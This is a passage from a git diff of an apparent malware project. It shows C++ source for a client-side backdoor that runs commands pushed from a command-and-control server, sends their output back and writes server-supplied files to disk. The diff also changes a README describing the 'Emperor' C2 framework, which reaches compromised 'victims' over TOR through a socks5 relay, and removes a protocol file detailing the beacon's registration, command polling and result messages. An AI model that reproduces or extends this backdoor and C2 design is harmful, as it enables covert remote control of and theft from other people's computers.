sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string
|
||||
if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string
|
||||
{
|
||||
sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::string sOutput = exec(sData[1]);
|
||||
std::cout << sOutput;
|
||||
sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse
|
||||
std::cout << sResponse << std::endl;
|
||||
|
||||
while (true)
|
||||
{
|
||||
if (sResponse != sOk) // if server does not respond as expected
|
||||
{
|
||||
sResponse = sendData("result", sOutput); // send returned data again
|
||||
std::cout << sResponse << std::endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
sleep(5); // perform this loop every 5 secs
|
||||
}
|
||||
}
|
||||
|
||||
else if (std::regex_match(sResponse, rUpload))
|
||||
{
|
||||
std::ofstream fFile;
|
||||
std::vector<std::string> sData; // declares a vector of strings sData
|
||||
std::string sSplit;
|
||||
for (int i = 0; i < sResponse.length(); i++)
|
||||
{
|
||||
if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
|
||||
{
|
||||
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
||||
sSplit = ""; // set sSplit to empty
|
||||
}
|
||||
|
||||
else // otherwise
|
||||
{
|
||||
sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string
|
||||
if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string
|
||||
{
|
||||
sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fFile.open(sData[1]); // open a file for writing with the filename provided
|
||||
|
||||
if (fFile)
|
||||
{
|
||||
fFile << sData[3]; // write the content of the file
|
||||
std::cout << sendData("msg", "saved");
|
||||
}
|
||||
else
|
||||
{
|
||||
std::cout << "Could not write to local file." << std::endl;
|
||||
std::cout << sendData("msg", "error");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -1,6 +1,9 @@
|
|||
# Emperor
|
||||
Emperor is a C2 framework for commanding and controlling compromised hosts through the TOR network.
|
||||
# Remote Control Beacon
|
||||
A client side Emperor C2 framework backdoor.
|
||||
|
||||
Communication is achieved through the use of a socks5 bridge (known as a forward operating base) between the compromised host running a client, which relays the communications through TOR, to the server, which is running as a TOR hidden service.
|
||||
This backdoor can communicate with Emperor itself, and can perform the following functions:
|
||||
* Connect to the server (via TOR through a configured FOB)
|
||||
* Request and execute commands
|
||||
* Upload and download files to and from the server
|
||||
|
||||
This repository contains the files for the Emperor server, which is used to communicate with victims who are compromised with the backdoor :)
|
||||
Most of the communications between the client and server are base64 encoded, but not encrypted. This means that the traffic, before reaching the FOB, is unencrypted. I was considering maybe adding RC4 encryption in the future :)
|
||||
|
|
31
protocol
31
protocol
|
@ -1,31 +0,0 @@
|
|||
CORE FEATURES
|
||||
|
||||
server <-- client
|
||||
REGISTRATION
|
||||
msg=ready&type=basic
|
||||
OR
|
||||
msg=ready&type=advanced
|
||||
|
||||
server --> client
|
||||
ACKNOWLEDGE
|
||||
user=(username of client)&msg=acknowledged
|
||||
|
||||
server <-- client
|
||||
REQUEST COMMAND (RUNNING AT REGULAR INTERVALS)
|
||||
msg=reqcmd
|
||||
|
||||
server --> client
|
||||
RESPONSE WITH NO COMMAND IN QUEUE (RESPONSE TO PREVIOUS HTTP REQUEST)
|
||||
msg=nocmd
|
||||
|
||||
server --> client
|
||||
RESPONSE ISSUING COMMAND (RESPONSE TO PREVIOUS HTTP REQUEST)
|
||||
run=id
|
||||
|
||||
server <-- client
|
||||
RESULT
|
||||
result=uid=1000(elimin8)
|
||||
|
||||
server --> client
|
||||
ACKNOWLEDGE
|
||||
user=(username of client)&msg=acknowledged
|
Loading…
Reference in New Issue